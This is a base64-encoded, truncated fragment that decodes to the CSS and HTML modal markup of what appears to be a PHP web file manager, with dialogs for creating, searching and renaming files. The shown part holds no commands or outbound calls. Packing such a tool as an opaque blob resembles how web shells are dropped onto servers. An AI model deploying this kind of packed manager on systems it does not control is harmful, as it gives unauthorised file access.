VxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBrZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2Uge1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZjhmOWZhXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNkZjQyMjdcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2Y4YjYwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgzKSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjMDBiZDYwXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDQpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICM0NTgxZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2FjNjhmY1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg2KSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNDVjM2QyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi1kZXZpY2Utd2lkdGg6NzY4cHgpIGFuZCAobWF4LWRldmljZS13aWR0aDoxMDI0cHgpIGFuZCAob3JpZW50YXRpb246bGFuZHNjYXBlKSBhbmQgKC13ZWJraXQtbWluLWRldmljZS1waXhlbC1yYXRpbzoyKSB7XG4gICAgICAgICAgICAgICAgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi5hY3RpdmUuZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmFjdGl2ZTpmb2N1cyxcbiAgICAgICAgICAgIC5idG4uZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmZvY3VzOmFjdGl2ZSxcbiAgICAgICAgICAgIC5idG46YWN0aXZlOmZvY3VzLFxuICAgICAgICAgICAgLmJ0bjpmb2N1cyB7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogMCAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIG91dGxpbmUtb2Zmc2V0OiAwICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogNjRweDtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDY0cHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXYsXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rLnNob3ctbWUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9ja1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDZweDtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTNweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDA3YmZmO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbGRzLWZhY2Vib29rIDEuMnMgY3ViaWMtYmV6aWVyKDAsIC41LCAuNSwgMSkgaW5maW5pdGVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBsZWZ0OiA2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjI0c1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDI2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjEyc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDQ1cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAwc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBAa2V5ZnJhbWVzIGxkcy1mYWNlYm9vayB7XG4gICAgICAgICAgICAgICAgMCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDZweDtcbiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA1MXB4XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgMTAwJSxcbiAgICAgICAgICAgICAgICA1MCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDE5cHg7XG4gICAgICAgICAgICAgICAgICAgIGhlaWdodDogMjZweFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZWNlY2VjY2M7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpIHtcbiAgICAgICAgICAgICAgICBsaXN0LXN0eWxlOiBub25lO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2VjZWNlY2NjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y5ZjlmOWNjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYy1wcmV2aWV3LWltZyB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAzMDBweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZsb2F0LXJpZ2h0IHtcbiAgICAgICAgICAgICAgICBmbG9hdDogcmlnaHQ7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ob3Zlcj50Ym9keT50cjpob3Zlcj50ZDpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjMWI3N2ZkO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjhGOUZhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZmlsZW5hbWU+YT5pIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDNweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZzLTcge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgPFwvc3R5bGU+XG4gICAgICAgIDw/cGhwXG4gICAgICAgIGlmIChGTV9USEVNRSA9PSBcImRhcmtcIik6ID8+XG4gICAgICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICAgICAgOnJvb3Qge1xuICAgICAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgICAgIC0tYmctY29sb3I6ICNmM2RhYTY7XG4gICAgICAgICAgICAgICAgICAgIC0tYnMtZGFyay1yZ2I6IDI4LCAzNiwgNDEgIWltcG9ydGFudDtcbiAgICAgICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGJvZHkudGhlbWUtZGFyayB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgIzFjMjQyOSwgIzI2MzIzOCk7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC5saXN0LWdyb3VwIC5saXN0LWdyb3VwLWl0ZW0ge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzQzYTQwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5uYXZiYXItbmF2IGksXG4gICAgICAgICAgICAgICAgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSxcbiAgICAgICAgICAgICAgICAuYnJlYWstd29yZCB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGEsXG4gICAgICAgICAgICAgICAgYTpob3ZlcixcbiAgICAgICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICAgICAgYTphY3RpdmUsXG4gICAgICAgICAgICAgICAgI21haW4tdGFibGUgLmZpbGVuYW1lIGEsXG4gICAgICAgICAgICAgICAgaS5mYS5mYS1mb2xkZXItbyxcbiAgICAgICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogdmFyKC0tYmctY29sb3IpO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzIxMmEyZjtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYjhlNTljO1xuICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNiOGU1OWM7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6aG92ZXIsXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6YWN0aXZlIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJkNDEyMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayBpbnB1dC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTAxNTE4O1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0NGRDhEQztcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuZHJvcHpvbmUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuaW5saW5lLWFjdGlvbnM+YT5pIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGV4dC13aGl0ZSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkLFxuICAgICAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzM0MzQzNDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQgLmN1c3RvbS1jb250cm9sLWlucHV0LFxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC50YWJsZS1ib3JkZXJlZCB0aCAuY3VzdG9tLWNvbnRyb2wtaW5wdXQge1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwLjY3ODtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgZm9ybS5kcm9wem9uZSB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICA8XC9zdHlsZT5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgPFwvaGVhZD5cblxuICAgIDxib2R5IGNsYXNzPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PlwiPlxuICAgICAgICA8ZGl2IGlkPVwid3JhcHBlclwiIGNsYXNzPVwiY29udGFpbmVyLWZsdWlkXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgZmFkZVwiIGlkPVwiY3JlYXRlTmV3SXRlbVwiIHRhYmluZGV4PVwiLTFcIiByb2xlPVwiZGlhbG9nXCIgZGF0YS1icy1iYWNrZHJvcD1cInN0YXRpY1wiIGRhdGEtYnMta2V5Ym9hcmQ9XCJmYWxzZVwiIGFyaWEtbGFiZWxsZWRieT1cIm5ld0l0ZW1Nb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIiBtZXRob2Q9XCJwb3N0XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtaGVhZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibW9kYWwtdGl0bGVcIiBpZD1cIm5ld0l0ZW1Nb2RhbExhYmVsXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZSBmYS1md1wiPjxcL2k+PD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5ld0l0ZW0nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxsYWJlbCBmb3I9XCJuZXdmaWxlXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1UeXBlJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cInJhZGlvXCIgbmFtZT1cIm5ld2ZpbGVcIiBpZD1cImN1c3RvbVJhZGlvSW5saW5lMVwiIG5hbWU9XCJuZXdmaWxlXCIgdmFsdWU9XCJmaWxlXCIgY2hlY2tlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiZm9ybS1jaGVjay1sYWJlbFwiIGZvcj1cImN1c3RvbVJhZGlvSW5saW5lMVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvcm0tY2hlY2sgZm9ybS1jaGVjay1pbmxpbmVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiZm9ybS1jaGVjay1pbnB1dFwiIHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJuZXdmaWxlXCIgaWQ9XCJjdXN0b21SYWRpb0lubGluZTJcIiB2YWx1ZT1cImZvbGRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9XCJmb3JtLWNoZWNrLWxhYmVsXCIgZm9yPVwiY3VzdG9tUmFkaW9JbmxpbmUyXCI+PD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtdC0zXCI+PGxhYmVsIGZvcj1cIm5ld2ZpbGVuYW1lXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1OYW1lJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3ZmlsZW5hbWVcIiBpZD1cIm5ld2ZpbGVuYW1lXCIgdmFsdWU9XCJcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIGhlcmUuLi4nKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWZvb3RlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5vdycpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsIGZhZGVcIiBpZD1cInNlYXJjaE1vZGFsXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBhcmlhLWxhYmVsbGVkYnk9XCJzZWFyY2hNb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZyBtb2RhbC1sZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtY29udGVudFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz1cIm1vZGFsLXRpdGxlIGNvbC0xMFwiIGlkPVwic2VhcmNoTW9kYWxMYWJlbFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAgbWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBwbGFjZWhvbGRlcj1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiA8P3BocCBlY2hvIGxuZygnYSBmaWxlcycpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24zXCIgaWQ9XCJhZHZhbmNlZC1zZWFyY2hcIiBhdXRvZm9jdXMgcmVxdWlyZWQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHRcIiBpZD1cInNlYXJjaC1hZGRvbjNcIj48aSBjbGFzcz1cImZhIGZhLXNlYXJjaFwiPjxcL2k+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImxkcy1mYWNlYm9va1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+PFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD1cInNlYXJjaC13cmFwcGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cIm0tMlwiPjw/cGhwIGVjaG8gbG5nKCdTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nKSA/PjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgIDwhLS1SZW5hbWUgTW9kYWwgLS0+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnRcIiBkYXRhLWJzLWJhY2tkcm9wPVwic3RhdGljXCIgZGF0YS1icy1rZXlib2FyZD1cImZhbHNlXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBpZD1cInJlbmFtZURhaWxvZ1wiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1kaWFsb2dcIiByb2xlPVwiZG9jdW1lbnRcIj5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9XCJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3dcIiBtZXRob2Q9XCJwb3N0XCIgYXV0b2NvbXBsZXRlPVwib2ZmXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9XCJtYi0zXCI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwibWItMVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwicmVuYW1lX3RvXCIgaWQ9XCJqcy1yZW5hbWUtdG9cIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIG5ldyBmaWxlIG5hbWUnKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cI